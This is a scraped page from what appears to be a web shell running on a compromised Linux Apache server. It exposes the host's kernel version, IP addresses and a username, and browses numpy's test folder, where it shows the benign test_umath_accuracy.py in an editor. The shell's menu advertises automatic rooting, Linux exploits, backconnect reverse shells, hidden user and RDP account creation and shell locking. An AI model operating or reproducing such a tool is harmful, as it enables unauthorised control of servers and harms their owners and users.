Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
numpy /
core /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
examples
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
_locales.py
2.14
KB
-rw-r--r--
test__exceptions.py
1.96
KB
-rw-r--r--
test_abc.py
2.27
KB
-rw-r--r--
test_api.py
21.76
KB
-rw-r--r--
test_argparse.py
1.93
KB
-rw-r--r--
test_array_coercion.py
27.27
KB
-rw-r--r--
test_arraymethod.py
2.34
KB
-rw-r--r--
test_arrayprint.py
36.3
KB
-rw-r--r--
test_casting_unittests.py
27.19
KB
-rw-r--r--
test_conversion_utils.py
6.26
KB
-rw-r--r--
test_cpu_dispatcher.py
1.48
KB
-rw-r--r--
test_cpu_features.py
6.62
KB
-rw-r--r--
test_cython.py
3.45
KB
-rw-r--r--
test_datetime.py
109.93
KB
-rw-r--r--
test_defchararray.py
24.01
KB
-rw-r--r--
test_deprecations.py
44.47
KB
-rw-r--r--
test_dtype.py
59.15
KB
-rw-r--r--
test_einsum.py
47.9
KB
-rw-r--r--
test_errstate.py
2.02
KB
-rw-r--r--
test_extint128.py
5.51
KB
-rw-r--r--
test_function_base.py
14.07
KB
-rw-r--r--
test_getlimits.py
4.2
KB
-rw-r--r--
test_half.py
23.26
KB
-rw-r--r--
test_indexerrors.py
5.01
KB
-rw-r--r--
test_indexing.py
52.71
KB
-rw-r--r--
test_item_selection.py
3.5
KB
-rw-r--r--
test_longdouble.py
12.74
KB
-rw-r--r--
test_machar.py
1.04
KB
-rw-r--r--
test_mem_overlap.py
28.4
KB
-rw-r--r--
test_memmap.py
7.29
KB
-rw-r--r--
test_multiarray.py
328.73
KB
-rw-r--r--
test_nditer.py
124.75
KB
-rw-r--r--
test_numeric.py
132.07
KB
-rw-r--r--
test_numerictypes.py
20.36
KB
-rw-r--r--
test_overrides.py
19.66
KB
-rw-r--r--
test_print.py
6.58
KB
-rw-r--r--
test_protocols.py
1.14
KB
-rw-r--r--
test_records.py
19.79
KB
-rw-r--r--
test_regression.py
88.97
KB
-rw-r--r--
test_scalar_ctors.py
3.6
KB
-rw-r--r--
test_scalar_methods.py
4
KB
-rw-r--r--
test_scalarbuffer.py
5.5
KB
-rw-r--r--
test_scalarinherit.py
2.35
KB
-rw-r--r--
test_scalarmath.py
31.92
KB
-rw-r--r--
test_scalarprint.py
18.21
KB
-rw-r--r--
test_shape_base.py
26.61
KB
-rw-r--r--
test_simd.py
34.55
KB
-rw-r--r--
test_simd_module.py
3.67
KB
-rw-r--r--
test_ufunc.py
92.25
KB
-rw-r--r--
test_umath.py
137.25
KB
-rw-r--r--
test_umath_accuracy.py
3.04
KB
-rw-r--r--
test_umath_complex.py
22.76
KB
-rw-r--r--
test_unicode.py
12.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_umath_accuracy.py
import numpy as np import platform from os import path import sys import pytest from ctypes import c_longlong, c_double, c_float, c_int, cast, pointer, POINTER from numpy.testing import assert_array_max_ulp from numpy.core._multiarray_umath import __cpu_features__ IS_AVX = __cpu_features__.get('AVX512F', False) or \ (__cpu_features__.get('FMA3', False) and __cpu_features__.get('AVX2', False)) runtest = sys.platform.startswith('linux') and IS_AVX platform_skip = pytest.mark.skipif(not runtest, reason="avoid testing inconsistent platform " "library implementations") # convert string to hex function taken from: # https://stackoverflow.com/questions/1592158/convert-hex-to-float # def convert(s, datatype="np.float32"): i = int(s, 16) # convert from hex to a Python int if (datatype == "np.float64"): cp = pointer(c_longlong(i)) # make this into a c long long integer fp = cast(cp, POINTER(c_double)) # cast the int pointer to a double pointer else: cp = pointer(c_int(i)) # make this into a c integer fp = cast(cp, POINTER(c_float)) # cast the int pointer to a float pointer return fp.contents.value # dereference the pointer, get the float str_to_float = np.vectorize(convert) files = ['umath-validation-set-exp.csv', 'umath-validation-set-log.csv', 'umath-validation-set-sin.csv', 'umath-validation-set-cos.csv'] class TestAccuracy: @platform_skip def test_validate_transcendentals(self): with np.errstate(all='ignore'): for filename in files: data_dir = path.join(path.dirname(__file__), 'data') filepath = path.join(data_dir, filename) with open(filepath) as fid: file_without_comments = (r for r in fid if not r[0] in ('$', '#')) data = np.genfromtxt(file_without_comments, dtype=('|S39','|S39','|S39',int), names=('type','input','output','ulperr'), delimiter=',', skip_header=1) npname = path.splitext(filename)[0].split('-')[3] npfunc = getattr(np, npname) for datatype in np.unique(data['type']): data_subset = data[data['type'] == datatype] inval = np.array(str_to_float(data_subset['input'].astype(str), data_subset['type'].astype(str)), dtype=eval(datatype)) outval = np.array(str_to_float(data_subset['output'].astype(str), data_subset['type'].astype(str)), dtype=eval(datatype)) perm = np.random.permutation(len(inval)) inval = inval[perm] outval = outval[perm] maxulperr = data_subset['ulperr'].max() assert_array_max_ulp(npfunc(inval), outval, maxulperr)
Close
